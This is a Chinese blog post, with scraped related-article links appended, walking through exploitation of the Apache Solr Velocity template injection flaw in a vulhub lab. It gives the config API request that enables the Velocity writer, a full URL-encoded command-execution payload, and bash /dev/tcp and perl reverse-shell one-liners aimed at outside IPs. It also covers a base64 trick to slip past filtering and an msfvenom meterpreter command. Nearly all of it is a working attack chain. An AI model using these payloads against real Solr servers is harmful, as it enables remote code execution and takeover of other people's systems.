前言:

官方的poc、exp payload只能获取很低的命令执行权限,甚至有些符号、命令还被过滤了,例如管道符被过滤。并且不能写入、下载文件,不能使用管道符重定向文件。那么我们只能通过获取到交互式shell来执行理想的命令。

0x01影响范围

Apache Solr 5.x - 8.2.0,存在config API版本

0x02环境搭建

vulhub上有几个apache solr的环境,我们使用vulhub上最新的环境“Apache Solr 远程命令执行漏洞(CVE-2019-0193)”

进入到vulhub目录下的solr漏洞的CVE-2019-0193下,然后执行命令:

docker-compose up -d

一键开启环境,这个环境的solr是8.1.1,那么存在该漏洞。

开启环境后,我们要先创建名为test的core,这才将漏洞环境完整搭好,命令为:

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

dokcer ps看一下端口,然后进行http://ip:端口,访问    默认8983端口

0x04漏洞利用

我们要知道目标机的core名称才能进行下一步攻击,例如我们刚刚创建的core名称为test,我们看看 core admin

确定了core名称为test,我们试着访问一下 http://host/solr/test/config

能显示出如下代码那么就没问题,接下来发一个post包(伪造一个post包,可以抓刚刚/solr/test/config的get请求包,然后改成post请求),post数据为:

{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

post请求头可为:

 POST /solr/test/config HTTP/1.1
Host: ,168.1.:
Content-Type: application/json
Content-Length:

基础的参数在就行,也可以加上user-agent

发包,响应包出现200则成功

之后就可以用我们的官方exp的payload:

http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

命令执行的地方在exec里面,我标红了的

但是这里不能写入下载文件,就种不了马。我们需要一个交互式的shell。

0x05利用反弹获取交互式shell

一开始一般想到直接使用bash反弹命令:bash -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1 但是使用之后并不会执行,它直接返回500错误

vps上监听根本没有流量,然后想到将bash反弹脚本写在vps上,然后在目标执行curl ip/bash.sh | bash,然后在vps上监听,但是发现也执行不了,目标直接将脚本里面的命令输出在页面上了:

一般linux都带perl,那么试着用perl反弹命令:

perl -e 'use Socket;$i="167.107.0.1";$p=25555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"167.107.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

共有两条命令,第二条是不依赖/bin/bash的,全都试了试,都不行,报500错误,应该是哪个符号或者哪个命令被禁止执行了。

还试了java反弹,也不行。那么现在这种状态应该只有想到通过绕过执行反弹命令了。

在网上摸取到了一个姿势,将bash命令进行runtime编码,然后再进行url编码即可绕过大部分waf,这里也可以绕过。

当然runtime编码是没有在线的,需要的话要去网上下载源码进行编译执行。

但这里针对bash反弹命令:bash -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1 这个的话,有一个规律的:

最前面跟上一个bash -c
格式为:bash -c {}|{base64,-d}|{bash,-i}
第一个大括号里面为bash整个反弹命令的base64编码 例如:bash -c {YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

再将runtime后的整个字符串进行url编码转换就行了。

将编码后的反弹命令拿去RCE处进行执行

vps上成功接收到交互式shell。

0x06 利用perl脚本加msf获取交互式shell

msf生成命令:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP_Addr> LPORT=<Port_Num> -f elf > shell.elf

接下来就参考: https://forum.90sec.com/t/topic/579

Apache Solr Velocity模板注入rce+获取交互式shell的更多相关文章

  1. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  2. Apache Solr Velocity模板远程代码执行复现

    0x01漏洞描述 2019年10月31日,国外安全研究员s00py在Github公开了一个Apache Solr Velocity模板注入远程命令执行的poc. 经过研究,发现该0day漏洞真实有效并 ...

  3. 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短

    概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...

  4. Apache Solr Velocity模板远程代码执行

    更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇. 这里用的docker环境 很简单的 在这里不再介绍 本地搭建好环境然后访问8983端口 网页如下: 查下节点名称 同样名字可以访问http ...

  5. CVE-2019-0193 Apache solr velocity模块漏洞

    Solr简单介绍 Solr是建立在Apache Lucene ™之上的一个流行.快速.开放源代码的企业搜索平台. Solr具有高度的可靠性,可伸缩性和容错能力,可提供分布式索引,复制和负载平衡查询,自 ...

  6. Apache solr velocity模块 漏洞复现

    0x01 Solr简单介绍 Solr是建立在Apache Lucene ™之上的一个流行.快速.开放源代码的企业搜索平台. Solr具有高度的可靠性,可伸缩性和容错能力,可提供分布式索引,复制和负载平 ...

  7. SSTI-服务端模板注入漏洞

      原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露.代码执行.GetShell ...

  8. SSTI-服务端模板注入

    SSTI-服务端模板注入漏洞 原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露. ...

  9. 企业安全01-Apache solr XML实体注入漏洞CVE-2017-12629

    Apache solr XML 实体注入漏洞CVE-2017-12629 一.简介 Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apac ...

随机推荐

  1. WTL改变对话框大小

    1.让对话框从CdialogResize类继承过来: class CMainDlg : public CDialogImpl<CMainDlg>, public CDoubleBuffer ...

  2. SendInput模拟键盘操作

    #include <windows.h> int main() { HWND parentHwnd, childHwnd; INPUT input[4]; parentHwnd = Fin ...

  3. 构造UTF8的std::string

    在VC++的世界里,MS比较鼓励使用_UNICODE,std::wstring.而在Web, XML则提倡用UTF8.当在C++的程序里要保存/读取XML数据,就存在wstring与string之间的 ...

  4. ARTS Week 5

    Nov 25, 2019 ~ Dec 1, 2019 Algorithm 深度优先搜索--书籍分配 题目描述:有b1-b5五本书,要分配给五个学生,分别是a1-a5.但每个学生都有其喜欢的书,要检查是 ...

  5. BZOJ 4556(后缀数组+主席树求前驱后继+二分||后缀数组+二分+可持久化线段树)

    换markdown写了.. 题意: 给你一个1e5的字符串,1e5组询问,求\([l_1,r_1]\)的所有子串与\([l_2,r_2]\)的lcp 思路: 首先可以发现答案是具有单调性的,我们考虑二 ...

  6. java3选择结构一

    1 public class jh_01_为什么需要if选择结构 { 2 /* 3 * 让它有条件性的去执行某些内容. 4 * System.out.println(2); 5 * 把你要控制的内容放 ...

  7. TCP协议三次握手(通信)

    在<计算机网络>一书中其中有提到,三次握手的目的是“为了防止已经失效的连接请求报文段突然又传到服务端,因而产生错误”,这种情况是:一端(client)A发出去的第一个连接请求报文并没有丢失 ...

  8. node.js+express+mongoose实现用户增删查改案例

    node.js+express+mongodb对用户进行增删查改 一.用到的相关技术 使用 Node.js 的 express 框架搭建web服务 使用 express 中间件 body-parse ...

  9. 基于python的密码字典生成器

    最近在网上看到一些作品,然后对其进行了一些完善.只是用于学习,不要去干坏事哦.程序来源于网络,我只是做了一些优化. #!/usr/bin/python# -*- coding:utf-8 -*-# @ ...

  10. 制作OpenOffice的Docker镜像并添加中文字体解决乱码问题

    官网下载openoffice http://www.openoffice.org/download/index.html 本文使用的是Docker官方发布的CentOS7镜像作为基础镜像.镜像的获取方 ...